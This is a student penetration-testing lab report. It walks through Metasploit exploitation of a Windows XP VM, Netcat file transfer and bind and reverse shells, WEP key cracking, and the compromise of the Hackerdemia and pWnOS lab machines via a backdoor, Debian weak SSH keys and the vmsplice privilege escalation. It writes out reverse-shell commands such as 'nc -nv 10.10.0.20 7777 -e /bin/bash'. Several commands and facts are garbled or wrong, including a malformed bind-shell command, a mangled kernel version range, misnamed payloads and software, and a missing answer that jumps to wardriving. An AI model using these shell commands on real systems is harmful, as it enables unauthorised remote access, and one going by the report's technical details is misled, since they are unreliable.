Beginning the network exploitation step of our penetration test, including the usage of tools such as Metasploit, Netcat, Socat, and others.
Network Security Analysis
Caleb Walter & Joseph Worden 10/21/2012
Select a Target VM that was previously scanned with a Vulnerability Scanner and run at least one exploit and payload against it, documenting all the steps taken. If the exploit or payload failed, why?
The target VM of choice for this test was our basic Windows XP Professional system, which registered a very high number of “High” and “Critical” level vulnerabilities in the accompanying Nessus scan. We chose to run 2 different exploits against this target, each taking advantage of a “reverse_tcp_bind” payload.
The correlation between Nessus scan results and Metasploit exploits is quite intertwined, with the ability to simply take either the CSV, BIN, or Patch Title from the Nessus scan and search for it within Metasploit using the “search” command. When you have found your exploit within the Metasploit Database, you input the “use ” command at the msf consoles to load it into Metasploit.
Options must then be set for these exploits, such as setting the Target IP (RHOST , 10.10.0.20) and target port (RPORT , 445) to tell Metasploit where and how to use this exploit. A payload must then be selected to load within the exploit to be executed on a successful attempt.
Using the “show payloads” command lists off all applicable payloads and their relevant details, such as how reliable and successful they are and when they can be used. We chose to take advantage of multiple “TCP_reverse_Bind” payloads, and used the “use payload”command to load the payload. Once all payloads and exploits are correctly loaded and all options set to their desirable values, running the “exploit” command sets Metasploit in motion. For our selected payloads, a successful exploit and payload delivery delivers us a Reverse Bind cmd shell on the system. With this shell, and an administrator account, we can change anything we want about the target, from the Registry to the Desktop.
Grab a banner from a TCP service with Netcat and provide a screenshot.
Using the command provided, we were able to obtain a response from one of the ports open on our Windows XP system. We did not receive a very verbose banner, but we obtained the status of the port (which was open as we already knew) and the name of the service running on that port. Other types of hosts and other services might have provided a more detailed banner, but any information is useful. Especially knowing the service actually running on a port.
Use Netcat to show an open port on a system. It can be any port that is open. Provide a screenshot.
Using a similar command to the one we had issued previously in order to tell netcat to scan a port range, we were able to identify several open ports and the services likely to be running on them. One such example was port 139 on our XP host, which was identified as open, and currently running the netbios-ssn service.
Use Netcat to connect to a web server and issue either a HEAD or a GET request. Provide a screenshot.
This example actually demonstrates the true utility of netcat. Using netcat we established a connection to our Server 2008 host on port 80. And through this connection we were able to send a custom made GET request. Using this technique you can spoof any information in these kinds of requests. In our testing we sent a GET request claiming to be coming from the server itself, via a fake website, and a fake browser. In return we received the standard response containing a descriptive header, and the HTML contents of our server's base IIS webpage. This exchange was completely benign, but using the same sort of spoofing you can accomplish quite a bit.
Use Netcat to listen verbosely on a port. Using Netcat from the same system or another system connect to the port where you are listening. Send the text “Hello World” to the listening Netcat port. Provide a screenshot of the console of the Netcat listener after the text has been sent.
For this exercise we set up Netcat on our Windows XP host in addition to the Backtrack host which, of course, was already running it. From the Backtrack host we set Netcat to simply listen on an arbitrary port, 1234. From our XP system we then set Netcat to establish a connection as normal with our Backtrack host on that arbitrary port. From there we were able to observe any data sent on that port from the XP system, as established by sending the message “hello world!”
This can also be done using SoCat using the STDIO command switch with the TCP-Listen option.
Create a file and prepare a Netcat installation to transfer this file to another installation.
To begin, a file was created called “Transfer.txt” with the only contents being a sentence reading “Transfer me!”. We then setup the netcat installation on our Backtrack platform with the “netcat –w 1 10.10.0.20 1234 < Transfer.txt ” command to set up netcat to send the “Transfer.txt” file to the 10.10.0.20 IP address on port 1234.
Set up another Netcat installation to request for and retrieve the file from the previous prepared Netcat file.
To request for and retrieve the file being presented by the netcat installation from the previous step, simply run the “netcat –l –p 1234 > Transfer.txt” command. This tells netcat to listen on port 1234 for the “Transfer.txt” file and to download the file when it sees it being served.
Bind a shell to a port using Netcat.
Binding a shell to a port on Netcat allows you to run a very simple form of Remote Access to that machine, albeit a very dangerous one. To set the machine that you wish to remotely accessed into listening mode, run the command “nc nv –e 10.10.0.20 7777 /bin/bash –l ”. This tells Netcat to listen on port 7777 for any incoming connection, and to execute the Bash shell once the connection is established. This can be done on a windows machine by simply substituting “cmd.exe” for /bin/bash.
Once again, this task can be completed using SoCat. The TCP Listen command for the port in use, with the EXEC command detailing the command to be executed upon a sensed connection (in this case a Bash Shell)
Connect to the bound shell from the previous Netcat installation using another Netcat installation, then run either a DIR or ls command to prove the shell works.
To connect to the previous Netcat installation listening for the connection, run netcat on the system you want to access it from and input the “nc 10.10.0.20 7777” command, where 10.10.0.20 is the address of the remote machine and 7777 is the port you wish to connect to. Netcat will then attempt to connect to the remote machine, but will not provide much confirmation of a successful attempt. To prove the connection successful, simply run any command that you can within the shell you connected into, in this case a basic “dir” command.
Provide the commands to do a reverse bind shell with Netcat, and send a shell to a system
A reverse bind shell with Netcat allows you to send a shell to a remote machine, instead of setting up for a machine to connect to you to get one. As opposed to a Remote Access usage, Reverse binding a shell is more of a way to get into a vulnerable machine and have it send back a shell to you. To perform a Reverse bind shell, in this case sending a Bash Shell to a windows machine, run the “nc –lvp 7777” command on the receiving machine to listen on port 7777. Then on the machine you wish to send a shell from, the Linux machine in this case, run the “nc –nv 10.10.0.20 7777 –e /bin/bash” command. This command tells the Linux machine to connect to Port 7777 at 10.10.0.20, and if successful, open up a Bash shell.
Describe a scenario within a penetration test that you could / would need to use port redirection.
Wardriving is the act of setting up a mobile wireless network scanning tool, either on a laptop or other mobile device, and driving around and area to gather information about access points sometimes creating a map of their physical locations as well.
Wireless Network Detection Tools
Kismet is a console based tool designed to detect wireless networks, as well as niff wireless traffic, and even act as an IDS. It can identify networks by passively sniffing, and it can even detect hidden networks if they are in use. Netstumbler is another tool. This one is windows based, and quite popular for wardriving. NetStumbler is also a more active scanner rather than a passive one like Kismet.
One way is, if you can connect to the access point and ping it, you should be able to view your ARP cache, and obtain the physical address of the access point. IF you don’t already have access, you can (on a linux system) use the command “iwlist scanning” to scan available access points and provide information on them, including the BSSID.
Why is the BSSID of an access point important to know?
A SSID is an identifier that can be chosen by each device, and therefore arbitrarily set by whoever configures the device, which presents the problem of possible duplicates. The BSSID however is a unique identifier assigned to each BSS, it is essentially the MAC address for that WAP. The SSID is the name that is displayed openly, while BSSID is sort of the ‘true name’ of a given WAP.
FMS Attacks and their Origin
FMS stands for Fluhrer, Mantin, and Shamir, the names of the researchers who published the first paper revealing this method of attack. The FMS attack takes advantage of a weakness in the Key Scheduling algorithm of RC4, and essentially manages to rebuild the key from pieces gleaned from a number of collected encrypted messages.
Crack the WEP key provided in the WeakIVs.zip file. It is a 128 bit WEP key. The BSSID of the access point is: 00:1E:52:F6:A0:9B
Given the .ivs file full of already collected IVs, it was a very simple matter to crack the key for this access point. Simply running aircrack-ng against the file provided us with a full analysis and very quickly cracked the key. Full analysis of the provided IVs will be included in a text file with this report. The WEP key for this access point was 0B:4E:D3:F6:7C:C5:40:FE:98:36:BA:A6:52
Vulnerable OS Tests
Use the skills you have already to obtain a shell on the system.
Initial analysis of this machine indicated that it was running a number of potentially vulnerable services. The host was running an outdated Apache webserver, and an outdated version of PHP that provided numerous possibilities for exploitation. In addition vulnerabilities were identified in SMB and the rlogin service. However, another even more egregious vulnerability ended up being our way in to this system. We identified an already present rogue backdoor shell active on port 1337. Using netcat it was a very simple matter to connect to this port and access this already present backdoor shell.
Compromise the Hackerdemia disk.
How did you compromise the Hackerdemia disk? Provide a screenshot.
Upon gaining access we were able to move freely about the system and access any directory. We were also able to add our own user account to the system with no problems. In addition to adding a user to the system we were also able to obtain the passwd and shadow files containing all users on the system and their encrypted passwords using netcat via the remote shell. Interestingly the only user with a password was the root user, but it would be a simple matter to crack it now after we had obtained the hash. Using these credentials we would have full access to the system at any time. Even if the backdoor that we used to obtain access was disposed of, if no action was made to change the root credentials it would be a simple matter to reinstate another backdoor.
What tools did you use to find the vulnerability you exploited?
We conducted our scans with nmap, and Nessus. Initial Nmap scans made it clear that this target was running a webserver, in addition to some more typical looking Linux services. We followed up with a vulnerability scan using Nessus. This scan provided us with information about the webserver. It was sorely out of date, and we had planned to use this as our initial vector of attack, until we noticed a service running on port 1337 which our initial nmap scan had failed to pick up. This service turned out to be the already present rogue backdoor that we actually ended up using to compromise the system.
The vulnerability that you took advantage of, what might that be an indication of if you found this on a production web server?
The presence of a backdoor like the one we encountered here would definitely indicate that someone else had already fully compromised the system. Likely this would indicate that an attack had already taken place and concluded and the attacker had left this backdoor in the system so that he could have easy access if he required it later. This easily accessed rogue shell could only exist if someone had purposely set it up, so there is no doubt that it is an indication that this system has already been compromised before.
Perform an analysis of the services running on the system and detail any vulnerabilities or exploits used to gain access to the system.
To begin the penetration test, we performed a ping sweep of the network to identify the pWnOS VM on our network. We found it to be at 192.168.2.23
Nmap –sV Scan
Our next step was to perform a Service Scan with OS detection on the pWnOS box. In this scan we found that the box was running SSH, an Apache Server, Samba running on port 139 and 445, and Miniserv with Webmin. We also found that the Operating System was Linux Kernel 2.6.22. Webmin is especially interesting here, as it is a WebGUI program for administrating Apache servers and has numerous vulnerabilities associated with it.
Up next, a Nessus Scan was performed on pWnOS using the standard Internal Network scan policy. The final results came up with multiple High to Critical vulnerabilities on the box, with two critical level vulnerabilities standing out. The first vulnerability is the MiniServ.pl file within Webmin. MiniServ allows an unauthenticated user to have arbitrary read access to any file on the entire system, along with being able to download these files as well. SSH also was discovered to have a Critical vulnerability. OpenSSH on Debian and Ubuntu platforms 0.9.8c-1 up to versions before 0.9.8g-9 generate SSH keys using a random number generator. However, this random number generator was found to be incredibly predictable and that only 33K possible keys could be made, making them easily guessable.
The Metasploit MiniServ.pl File Disclosure exploit allows you to download any file from the target system providing that you know the path of the file on the system, which defaults to the /etc/passwd file.
The /etc/passwd file on Unix and Linux systems is a database file that identifies users that may login into the system, or other operating system users that own running processes, such as MySql, SSH, Samba, etc. These files are formatted to contain the name of the account, followed by the salted and hashed password, the GUID of the account, the UUID of the account, the Home directory, and the preferred /bin file that opens upon account login.
The etc/shadow file is simply a file that is only readable by higher privileged accounts (such as root) that contain hashed password values for every account listed in the etc/passwd file.
The ~/.ssh/authenticated-keys file is where the encrypted and Authenticated SSH keys for the given account are stored for validation when an SSH connection is established.
SSH Key Decipher
Once the authenticated-key file was downloaded, along with the 33,000 possible Debian SSH Keys, a few simple commands were all that was needed to compare the keys. After grepping the encrypted SSH key to the list and using the “*.pub” extension, a full SSH key dedicated to just the “Obama” account was uncovered.
Connecting to another SSH enabled system is as easy as joining its network and running the “ssh –i” along with the SSH Key and the login name, in this case being Obama@192.168.2.23. Once the connection was established, we were granted basic user access to the pWnOS box! However, what anyone really wants is root access, and so we weren’t finished yet.
Obtain Root Privileges
VMsplice.c is a local access exploit for Linux based machines running on Kernels 2.6.17 – 18.104.22.168, in which the pWnOS box fits right into. Once this program is imported and compiled within the target machine locally, it attempts to escalate the provelege level of the current account to root taking advantage of the splice() system call within the kernel, which creates data flow plumbing with the kernel. The code for this exploit is readily available on Exploit-db and simply needs to be copy-pasted into a VIM or Nano document on the local machine and compiling the C code to be run. In this case, we used GCC after saving the Nano file.
Upon running the vmsplice.c program, within the SSH local access we got into the pWnOS box, our privileges were immediately escalated to the root user.